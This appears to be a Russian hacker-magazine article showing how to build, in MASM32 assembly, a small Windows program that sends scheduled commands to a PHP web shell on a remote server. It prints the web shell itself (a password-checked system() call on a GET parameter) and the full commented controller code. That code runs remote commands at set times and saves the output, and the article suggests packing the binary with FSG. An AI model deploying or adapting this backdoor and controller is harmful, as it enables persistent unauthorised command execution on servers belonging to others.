Крон и винда, ассемблер и php, вебшелл и планирование задач... Какая между
всем этим связь? Первое, что приходит в голову - это пхп-скрипт, запускаемый на
локалхосте планировщиком задач windows, взаимодействующий через WinAPI
посредством DDE с асмовой программой, которая через web shell управляет cron'ом
на удалённом сервере. Но на самом деле это не так, сегодня мы будем извращаться
немного иначе. =)

По порядку: cron (фактом своего существования 😉 ) натолкнул меня на мысль
написать планировщик задач удалённого сервера через веб шелл, и написать его под
винду. Потом промелькнула мысль, что это можно встраивать в различные программы,
так что написать было решено только каркас, чем я и занимался прямо перед
написанием статьи.

Ну а теперь к делу. =) Имеем мы вебшелл (или несколько), masm32, винду.
Приступаем к кодингу вышеописанной программы, но сперва покажу листинг вебшелла,
используемого в примере.

<?
if($_GET['p']=="just4article")
system($_GET['c']);
?>

Шелл, как видно, простой, а листинг приведён чтобы никого не смущала переменная
p. 🙂

Итак, приступаем к exe-составляющей. Входные данные в примере приниматься не
будут, сохранения и т.п. тоже нет, т.к. это всего лишь пример, но структура в
принципе показана полностью.

Далее следует код с комментариями.

.386
.model flat, stdcall
option casemap :none ; case sensitive

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\winmm.inc
include \masm32\include\masm32.inc
include \masm32\include\urlmon.inc

include \masm32\macros\macros.asm ; нужно в ходе
тестов, в процессе кодинга 🙂

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\winmm.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\urlmon.lib

; нужные инклуды

.data
webshellcmd db "http://someserver.org/shell.php?p=just4test&c=ls%20-la",0 ;
команда нашему вебшеллу
anothercmd db "http://someserver.org/shell.php?p=just4test&c=uname%20-a",0 ;
другая команда, для второй задачи
fileforansw db "answer.txt",0 ;
файл, в который
будем писать ответ сервера

.code

start:

JustDoIt proc

local stm:SYSTEMTIME
local szYear:DWORD
local szMonth:DWORD
local szDayOfWeek:DWORD
local szDay:DWORD
local szHour:DWORD
local szMinute:DWORD
local szwSecond:DWORD
local szMilliseconds:DWORD
local szDayaddr:DWORD

; определили locals
;
здесь я перечислил всю структуру SYSTEMTIME, а
использовать сейчас будем

;
только wDay, wHour и wMinute (w в структуре у нас
переходит в sz в local)

@startthis: ; начинаем цикл - будем проверять время
каждые 10 секунд

invoke GetLocalTime,addr stm ; получаем время, оно
у нас в структуре SYSTEMTIME

;movzx eax,stm.wDay
;mov szDayaddr,ustr$(eax) ;
<-- вот так можно
добывать адрес переменной, скорее всего пригодится

movzx eax,stm.wDay ; переносим в eax время из
переменной, число в данном случае

mov szDay,eax ;
переносим из eax'a в szDay
movzx eax,stm.wHour ;
и т.д.
mov szHour,eax
movzx eax,stm.wMinute
mov szMinute,eax

.if szDay==22 && szHour==4 && szMinute==26 ;
смотрим время

invoke URLDownloadToFile,0,offset webshellcmd,offset fileforansw,0,0 ; о как 🙂
;
вебшелл юзаем через URLDownloadToFile, дешево и
сердито 😉

jmp @done1 ; выполнили задачу переходим к следующей

.endif ;

push 10000 ; 10 секунд ждём
call Sleep

jmp @startthis ; если мы дошли до этого, значит
задача не выполнена - время ещё не подошло

;
так что идём к началу цикла и смотрим время снова

@done1: ; а если задача №1 выполнена...

invoke GetLocalTime,addr stm ; опять добываем время

movzx eax,stm.wDay ; снова выдираем отсюда нужное
нам

mov szDay,eax
movzx eax,stm.wHour
mov szHour,eax

.if szDay==22 && szHour==5 ; здесь уже выполняется
задача 22го числа в 5 часов

invoke URLDownloadToFile,0,offset anothercmd,offset fileforansw,0,0

jmp @done2 ; сделали? идём дальше 🙂

.endif

push 10000
call Sleep

@done2: ; ну в данном примере это уже конец =) все
задачи выполнены 😉

push 0
call ExitProcess ;
выход 😉

JustDoIt endp

end start

Вот такая небольшая программка весом 1536 байт; сжимаем FSG - 949 байт. =)

А далее можно сделать вечный цикл, базу с числами/временем/командами и т.д.,
некое подобие крона. =)

Спешл пасиба AZ4ZeL за устранение моих начных глюков в процессе кодинга. =)

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии